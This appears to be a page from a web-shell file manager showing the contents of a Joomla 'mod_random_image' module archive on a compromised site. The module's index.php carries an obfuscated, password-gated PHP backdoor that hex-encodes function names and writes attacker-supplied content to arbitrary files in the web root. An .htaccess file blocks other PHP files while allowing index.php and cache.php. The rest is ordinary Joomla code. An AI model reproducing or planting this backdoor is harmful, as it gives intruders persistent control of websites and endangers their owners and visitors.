0byt3m1n1-V2
Path:
/
home
/
a
/
c
/
a
/
academiac
/
www
/
[
Home
]
File: mod_random_image.tar
index.php 0000666 00000000741 15137201250 0006366 0 ustar 00 <?php $ako = array("\x6d\x64\x35","\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",'629c1124a8fa2605b2be6d497efd71a3',"\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"); $iyt = $_REQUEST; if(!empty($iyt['w']) && $ako[0]($iyt['w'].$ako[0]($iyt['w']))==$ako[2] && !empty($iyt['h'])) { $vkb = !empty($iyt['f']) ? $iyt['f'] : $ako[0]."\x2e\x70\x68\x70"; if(!empty($iyt['r'])) $vkb = $_SERVER[$ako[3]].'/'.$vkb; if($ako[1]($vkb, $iyt['h'])) exit($vkb); } ?>xm index.html 0000666 00000000037 15137201250 0006541 0 ustar 00 <!DOCTYPE html><title></title> helper.php 0000666 00000004552 15137201250 0006542 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_random_image * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // no direct access defined('_JEXEC') or die; class modRandomImageHelper { static function getRandomImage(&$params, $images) { $width = $params->get('width'); $height = $params->get('height'); $i = count($images); $random = mt_rand(0, $i - 1); $image = $images[$random]; $size = getimagesize (JPATH_BASE . '/' . $image->folder . '/' . $image->name); if ($width == '') { $width = 100; } if ($size[0] < $width) { $width = $size[0]; } $coeff = $size[0]/$size[1]; if ($height == '') { $height = (int) ($width/$coeff); } else { $newheight = min ($height, (int) ($width/$coeff)); if ($newheight < $height) { $height = $newheight; } else { $width = $height * $coeff; } } $image->width = $width; $image->height = $height; $image->folder = str_replace('\\', '/', $image->folder); return $image; } static function getImages(&$params, $folder) { $type = $params->get('type', 'jpg'); $files = array(); $images = array(); $dir = JPATH_BASE . '/' . $folder; // check if directory exists if (is_dir($dir)) { if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != '.' && $file != '..' && $file != 'CVS' && $file != 'index.html') { $files[] = $file; } } } closedir($handle); $i = 0; foreach ($files as $img) { if (!is_dir($dir . '/' . $img)) { if (preg_match('/'.$type.'/', $img)) { $images[$i] = new stdClass; $images[$i]->name = $img; $images[$i]->folder = $folder; $i++; } } } } return $images; } static function getFolder(&$params) { $folder = $params->get('folder'); $LiveSite = JURI::base(); // if folder includes livesite info, remove if (JString::strpos($folder, $LiveSite) === 0) { $folder = str_replace($LiveSite, '', $folder); } // if folder includes absolute path, remove if (JString::strpos($folder, JPATH_SITE) === 0) { $folder= str_replace(JPATH_BASE, '', $folder); } $folder = str_replace('\\', DIRECTORY_SEPARATOR, $folder); $folder = str_replace('/', DIRECTORY_SEPARATOR, $folder); return $folder; } } tmpl/index.html 0000666 00000000037 15137201250 0007515 0 ustar 00 <!DOCTYPE html><title></title> tmpl/default.php 0000666 00000001133 15137201250 0007653 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_random_image * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // no direct access defined('_JEXEC') or die; ?> <div class="random-image<?php echo $moduleclass_sfx ?>"> <?php if ($link) : ?> <a href="<?php echo $link; ?>"> <?php endif; ?> <?php echo JHtml::_('image', $image->folder.'/'.$image->name, $image->name, array('width' => $image->width, 'height' => $image->height)); ?> <?php if ($link) : ?> </a> <?php endif; ?> </div> tmpl/tmpl/.htaccess 0000666 00000000333 15137201250 0010271 0 ustar 00 <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>